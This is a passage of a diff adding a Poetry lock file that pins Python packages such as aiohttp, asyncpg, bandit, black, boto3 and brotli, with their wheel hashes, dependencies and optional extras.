"aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"}, + {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"}, + {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"}, + {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"}, + {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"}, + {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"}, +] + +[package.dependencies] +aiosignal = ">=1.1.2" +async-timeout = ">=4.0.0a3,<5.0" +attrs = ">=17.3.0" +charset-normalizer = ">=2.0,<4.0" +frozenlist = ">=1.1.1" +multidict = ">=4.5,<7.0" +yarl = ">=1.0,<2.0" + +[package.extras] +speedups = ["Brotli", "aiodns", "cchardet"] + +[[package]] +name = "aioitertools" +version = "0.11.0" +description = "itertools and builtins for AsyncIO and mixed iterables" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"}, + {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"}, +] + +[[package]] +name = "aiormq" +version = "6.6.4" +description = "Pure python AMQP asynchronous client library" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"}, + {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"}, +] + +[package.dependencies] +pamqp = "3.2.1" +yarl = "*" + +[[package]] +name = "aiosignal" +version = "1.3.1" +description = "aiosignal: a list of registered asynchronous callbacks" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"}, + {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"}, +] + +[package.dependencies] +frozenlist = ">=1.1.0" + +[[package]] +name = "aiosqlite" +version = "0.19.0" +description = "asyncio bridge to the standard sqlite3 module" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"}, + {file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"}, +] + +[package.extras] +dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"] +docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"] + +[[package]] +name = "anyio" +version = "3.7.1" +description = "High level compatibility layer for multiple asynchronous event loop implementations" +optional = false +python-versions = ">=3.7" +files = [ + {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"}, + {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"}, +] + +[package.dependencies] +idna = ">=2.8" +sniffio = ">=1.1" + +[package.extras] +doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"] +test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] +trio = ["trio (<0.22)"] + +[[package]] +name = "async-timeout" +version = "4.0.2" +description = "Timeout context manager for asyncio programs" +optional = false +python-versions = ">=3.6" +files = [ + {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"}, + {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"}, +] + +[[package]] +name = "asyncpg" +version = "0.27.0" +description = "An asyncio PostgreSQL driver" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "asyncpg-0.27.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fca608d199ffed4903dce1bcd97ad0fe8260f405c1c225bdf0002709132171c2"}, + {file = "asyncpg-0.27.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:20b596d8d074f6f695c13ffb8646d0b6bb1ab570ba7b0cfd349b921ff03cfc1e"}, + {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a6206210c869ebd3f4eb9e89bea132aefb56ff3d1b7dd7e26b102b17e27bbb1"}, + {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7a94c03386bb95456b12c66026b3a87d1b965f0f1e5733c36e7229f8f137747"}, + {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:bfc3980b4ba6f97138b04f0d32e8af21d6c9fa1f8e6e140c07d15690a0a99279"}, + {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9654085f2b22f66952124de13a8071b54453ff972c25c59b5ce1173a4283ffd9"}, + {file = "asyncpg-0.27.0-cp310-cp310-win32.whl", hash = "sha256:879c29a75969eb2722f94443752f4720d560d1e748474de54ae8dd230bc4956b"}, + {file = "asyncpg-0.27.0-cp310-cp310-win_amd64.whl", hash = "sha256:ab0f21c4818d46a60ca789ebc92327d6d874d3b7ccff3963f7af0a21dc6cff52"}, + {file = "asyncpg-0.27.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:18f77e8e71e826ba2d0c3ba6764930776719ae2b225ca07e014590545928b576"}, + {file = "asyncpg-0.27.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c2232d4625c558f2aa001942cac1d7952aa9f0dbfc212f63bc754277769e1ef2"}, + {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9a3a4ff43702d39e3c97a8786314123d314e0f0e4dabc8367db5b665c93914de"}, + {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccddb9419ab4e1c48742457d0c0362dbdaeb9b28e6875115abfe319b29ee225d"}, + {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:768e0e7c2898d40b16d4ef7a0b44e8150db3dd8995b4652aa1fe2902e92c7df8"}, + {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:609054a1f47292a905582a1cfcca51a6f3f30ab9d822448693e66fdddde27920"}, + {file = "asyncpg-0.27.0-cp311-cp311-win32.whl", hash = "sha256:8113e17cfe236dc2277ec844ba9b3d5312f61bd2fdae6d3ed1c1cdd75f6cf2d8"}, + {file = "asyncpg-0.27.0-cp311-cp311-win_amd64.whl", hash = "sha256:bb71211414dd1eeb8d31ec529fe77cff04bf53efc783a5f6f0a32d84923f45cf"}, + {file = "asyncpg-0.27.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4750f5cf49ed48a6e49c6e5aed390eee367694636c2dcfaf4a273ca832c5c43c"}, + {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:eca01eb112a39d31cc4abb93a5aef2a81514c23f70956729f42fb83b11b3483f"}, + {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:5710cb0937f696ce303f5eed6d272e3f057339bb4139378ccecafa9ee923a71c"}, + {file = "asyncpg-0.27.0-cp37-cp37m-win_amd64.whl", hash = "sha256:71cca80a056ebe19ec74b7117b09e650990c3ca535ac1c35234a96f65604192f"}, + {file = "asyncpg-0.27.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4bb366ae34af5b5cabc3ac6a5347dfb6013af38c68af8452f27968d49085ecc0"}, + {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:16ba8ec2e85d586b4a12bcd03e8d29e3d99e832764d6a1d0b8c27dbbe4a2569d"}, + {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d20dea7b83651d93b1eb2f353511fe7fd554752844523f17ad30115d8b9c8cd6"}, + {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e56ac8a8237ad4adec97c0cd4728596885f908053ab725e22900b5902e7f8e69"}, + {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:bf21ebf023ec67335258e0f3d3ad7b91bb9507985ba2b2206346de488267cad0"}, + {file = "asyncpg-0.27.0-cp38-cp38-win32.whl", hash = "sha256:69aa1b443a182b13a17ff926ed6627af2d98f62f2fe5890583270cc4073f63bf"}, + {file = "asyncpg-0.27.0-cp38-cp38-win_amd64.whl", hash = "sha256:62932f29cf2433988fcd799770ec64b374a3691e7902ecf85da14d5e0854d1ea"}, + {file = "asyncpg-0.27.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fddcacf695581a8d856654bc4c8cfb73d5c9df26d5f55201722d3e6a699e9629"}, + {file = "asyncpg-0.27.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7d8585707ecc6661d07367d444bbaa846b4e095d84451340da8df55a3757e152"}, + {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:975a320baf7020339a67315284a4d3bf7460e664e484672bd3e71dbd881bc692"}, + {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2232ebae9796d4600a7819fc383da78ab51b32a092795f4555575fc934c1c89d"}, + {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:88b62164738239f62f4af92567b846a8ef7cf8abf53eddd83650603de4d52163"}, + {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:eb4b2fdf88af4fb1cc569781a8f933d2a73ee82cd720e0cb4edabbaecf2a905b"}, + {file = "asyncpg-0.27.0-cp39-cp39-win32.whl", hash = "sha256:8934577e1ed13f7d2d9cea3cc016cc6f95c19faedea2c2b56a6f94f257cea672"}, + {file = "asyncpg-0.27.0-cp39-cp39-win_amd64.whl", hash = "sha256:1b6499de06fe035cf2fa932ec5617ed3f37d4ebbf663b655922e105a484a6af9"}, + {file = "asyncpg-0.27.0.tar.gz", hash = "sha256:720986d9a4705dd8a40fdf172036f5ae787225036a7eb46e704c45aa8f62c054"}, +] + +[package.extras] +dev = ["Cython (>=0.29.24,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "flake8 (>=5.0.4,<5.1.0)", "pytest (>=6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)", "uvloop (>=0.15.3)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["flake8 (>=5.0.4,<5.1.0)", "uvloop (>=0.15.3)"] + +[[package]] +name = "asyncpg-stubs" +version = "0.27.1" +description = "asyncpg stubs" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "asyncpg_stubs-0.27.1-py3-none-any.whl", hash = "sha256:ddcab786af645c3fc7a2b45f6c429a6eb02f99f718ead5850f1db02582629e7c"}, + {file = "asyncpg_stubs-0.27.1.tar.gz", hash = "sha256:0d803aec80e8c8446694ae440ac5976fe5a8db66dc2bfb63b012c37c5bc7a653"}, +] + +[package.dependencies] +asyncpg = ">=0.27,<0.28" +typing-extensions = ">=4.2.0,<5.0.0" + +[[package]] +name = "attrs" +version = "23.1.0" +description = "Classes Without Boilerplate" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] + +[[package]] +name = "bandit" +version = "1.7.5" +description = "Security oriented static analyser for python code." +optional = false +python-versions = ">=3.7" +files = [ + {file = "bandit-1.7.5-py3-none-any.whl", hash = "sha256:75665181dc1e0096369112541a056c59d1c5f66f9bb74a8d686c3c362b83f549"}, + {file = "bandit-1.7.5.tar.gz", hash = "sha256:bdfc739baa03b880c2d15d0431b31c658ffc348e907fe197e54e0389dd59e11e"}, +] + +[package.dependencies] +colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""} +GitPython = ">=1.0.1" +PyYAML = ">=5.3.1" +rich = "*" +stevedore = ">=1.20.0" + +[package.extras] +test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)", "tomli (>=1.1.0)"] +toml = ["tomli (>=1.1.0)"] +yaml = ["PyYAML"] + +[[package]] +name = "binaryornot" +version = "0.4.4" +description = "Ultra-lightweight pure Python package to check if a file is binary or text." +optional = false +python-versions = "*" +files = [ + {file = "binaryornot-0.4.4-py2.py3-none-any.whl", hash = "sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4"}, + {file = "binaryornot-0.4.4.tar.gz", hash = "sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061"}, +] + +[package.dependencies] +chardet = ">=3.0.2" + +[[package]] +name = "black" +version = "22.12.0" +description = "The uncompromising code formatter." +optional = false +python-versions = ">=3.7" +files = [ + {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"}, + {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"}, + {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"}, + {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"}, + {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"}, + {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"}, + {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"}, + {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"}, + {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"}, + {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"}, + {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"}, + {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"}, +] + +[package.dependencies] +click = ">=8.0.0" +mypy-extensions = ">=0.4.3" +pathspec = ">=0.9.0" +platformdirs = ">=2" + +[package.extras] +colorama = ["colorama (>=0.4.3)"] +d = ["aiohttp (>=3.7.4)"] +jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] +uvloop = ["uvloop (>=0.15.2)"] + +[[package]] +name = "blinker" +version = "1.6.2" +description = "Fast, simple object-to-object and broadcast signaling" +optional = false +python-versions = ">=3.7" +files = [ + {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"}, + {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"}, +] + +[[package]] +name = "boto3" +version = "1.24.59" +description = "The AWS SDK for Python" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"}, + {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"}, +] + +[package.dependencies] +botocore = ">=1.27.59,<1.28.0" +jmespath = ">=0.7.1,<2.0.0" +s3transfer = ">=0.6.0,<0.7.0" + +[package.extras] +crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] + +[[package]] +name = "botocore" +version = "1.27.59" +description = "Low-level, data-driven core of boto 3." +optional = false +python-versions = ">= 3.7" +files = [ + {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"}, + {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"}, +] + +[package.dependencies] +jmespath = ">=0.7.1,<2.0.0" +python-dateutil = ">=2.1,<3.0.0" +urllib3 = ">=1.25.4,<1.27" + +[package.extras] +crt = ["awscrt (==0.14.0)"] + +[[package]] +name = "breadability" +version = "0.1.20" +description = "Port of Readability HTML parser in Python" +optional = false +python-versions = "*" +files = [ + {file = "breadability-0.1.20.tar.gz", hash = "sha256:f1a7fdad1e58e295df80954879143824c706bbfb1826cdf4b1d15de1a86afe99"}, +] + +[package.dependencies] +chardet = "*" +docopt = ">=0.6.1,<0.7" +lxml = ">=2.0" + +[[package]] +name = "brotli" +version = "1.0.9" +description = "Python bindings for the Brotli compression library" +optional = false +python-versions = "*" +files = [ + {file = "Brotli-1.0.9-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:268fe94547ba25b58ebc724680609c8ee3e5a843202e9a381f6f9c5e8bdb5c70"}, + {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:c2415d9d082152460f2bd4e382a1e85aed233abc92db5a3880da2257dc7daf7b"}, + {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5913a1177fc36e30fcf6dc868ce23b0453952c78c04c266d3149b3d39e1410d6"}, + {file = "Brotli-1.0.9-cp27-cp27m-win32.whl", hash = "sha256:afde17ae04d90fbe53afb628f7f2d4ca022797aa093e809de5c3cf276f61bbfa"}, + {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7cb81373984cc0e4682f31bc3d6be9026006d96eecd07ea49aafb06897746452"}, + {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:db844eb158a87ccab83e868a762ea8024ae27337fc7ddcbfcddd157f841fdfe7"}, + {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9744a863b489c79a73aba014df554b0e7a0fc44ef3f8a0ef2a52919c7d155031"}, + {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a72661af47119a80d82fa583b554095308d6a4c356b2a554fdc2799bc19f2a43"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee83d3e3a024a9618e5be64648d6d11c37047ac48adff25f12fa4226cf23d1c"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:19598ecddd8a212aedb1ffa15763dd52a388518c4550e615aed88dc3753c0f0c"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:44bb8ff420c1d19d91d79d8c3574b8954288bdff0273bf788954064d260d7ab0"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e23281b9a08ec338469268f98f194658abfb13658ee98e2b7f85ee9dd06caa91"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3496fc835370da351d37cada4cf744039616a6db7d13c430035e901443a34daa"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b83bb06a0192cccf1eb8d0a28672a1b79c74c3a8a5f2619625aeb6f28b3a82bb"}, + {file = "Brotli-1.0.9-cp310-cp310-win32.whl", hash = "sha256:26d168aac4aaec9a4394221240e8a5436b5634adc3cd1cdf637f6645cecbf181"}, + {file = "Brotli-1.0.9-cp310-cp310-win_amd64.whl", hash = "sha256:622a231b08899c864eb87e85f81c75e7b9ce05b001e59bbfbf43d4a71f5f32b2"}, + {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cc0283a406774f465fb45ec7efb66857c09ffefbe49ec20b7882eff6d3c86d3a"}, + {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:11d3283d89af7033236fa4e73ec2cbe743d4f6a81d41bd234f24bf63dde979df"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c1306004d49b84bd0c4f90457c6f57ad109f5cc6067a9664e12b7b79a9948ad"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1375b5d17d6145c798661b67e4ae9d5496920d9265e2f00f1c2c0b5ae91fbde"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cab1b5964b39607a66adbba01f1c12df2e55ac36c81ec6ed44f2fca44178bf1a"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8ed6a5b3d23ecc00ea02e1ed8e0ff9a08f4fc87a1f58a2530e71c0f48adf882f"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cb02ed34557afde2d2da68194d12f5719ee96cfb2eacc886352cb73e3808fc5d"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b3523f51818e8f16599613edddb1ff924eeb4b53ab7e7197f85cbc321cdca32f"}, + {file = "Brotli-1.0.9-cp311-cp311-win32.whl", hash = "sha256:ba72d37e2a924717990f4d7482e8ac88e2ef43fb95491eb6e0d124d77d2a150d"}, + {file = "Brotli-1.0.9-cp311-cp311-win_amd64.whl", hash = "sha256:3ffaadcaeafe9d30a7e4e1e97ad727e4f5610b9fa2f7551998471e3736738679"}, + {file = "Brotli-1.0.9-cp35-cp35m-macosx_10_6_intel.whl", hash = "sha256:c83aa123d56f2e060644427a882a36b3c12db93727ad7a7b9efd7d7f3e9cc2c4"}, + {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:6b2ae9f5f67f89aade1fab0f7fd8f2832501311c363a21579d02defa844d9296"}, + {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:68715970f16b6e92c574c30747c95cf8cf62804569647386ff032195dc89a430"}, + {file = "Brotli-1.0.9-cp35-cp35m-win32.whl", hash = "sha256:defed7ea5f218a9f2336301e6fd379f55c655bea65ba2476346340a0ce6f74a1"}, + {file = "Brotli-1.0.9-cp35-cp35m-win_amd64.whl", hash = 